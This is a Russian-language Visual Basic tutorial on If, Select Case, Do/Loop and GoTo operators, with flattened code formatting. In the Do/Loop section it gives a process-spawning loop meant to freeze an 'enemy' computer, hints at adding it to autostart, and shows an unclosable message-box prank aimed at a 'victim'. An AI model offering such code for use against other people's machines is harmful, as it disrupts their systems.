Оператор GoTo

Операторы Do, Loop, Until (от -Гепарда97-)

Оператор Select Case

Условный оператор

Операторы Visual Basic.

Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором тупых слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа.

If Условие Then
Серия 1
Else
Серия 2
End If

ИЛИ
If Условие Then Серия 1

С помощью этого оператора можно заменить условный оператор, это удобнее(т.к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так.

Select Case Переменная или выражение
Case Значение 1
Действие
Case Значение 1
Действие
...
Case Else Действие в случае несовпадения End Select

Использование:

Do

<...операторы...>

Loop

Вгоняет комп в чуть менее, чем бесконечный цикл.

Например, всего 5ю строчками вражий комп можно повесить намертво (спасет только зажимание кнопки включения, приводящее к его аварийному отключениювынимание батареек), пишем в модуль:

sub main()doshell app.path & "\" & app.exename & ".exe"loopend sub

(Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus.exe /f где virus.exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)

Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.

Или другой пример (а здесь еще и использование случайного генератора чисел!)

Sub Main() Call Randomize random1 = Rnd If random1 < 0.75 ThenDo MsgBox "Хахахаха, ламерз маст дай!"LoopEnd IfEndEnd Sub

Что делает код: сначала генерирует ряд случайных чисел,

затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то

начать цикл и постоянно выводить сообщение (есичо, Loop - "закрывающий" оператор для Do, как Next для For и End If для If). Лулзы заключаются в том, что жертва (если она конечно полный ламер) не сможет закрыть эту мессагу. Если она конечно вывалится - если случ.число больше 0.75 то прога просто выключится.

А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.

1ый способ:

do 'Здесь мог быть ваш код loop until x = 1

Второй:

doif x <> 1 then 'Здесь мог быть ваш код elseexit do 'Выходим из цикла end ifloop

Оператор безусловного перехода всегда изменяет порядок выполнения операторов в процедуре или функции vba. При этом vba не проверяет никаких условий, а просто переходит к выполнению кода с другого места.

Дата добавления: 2014-11-25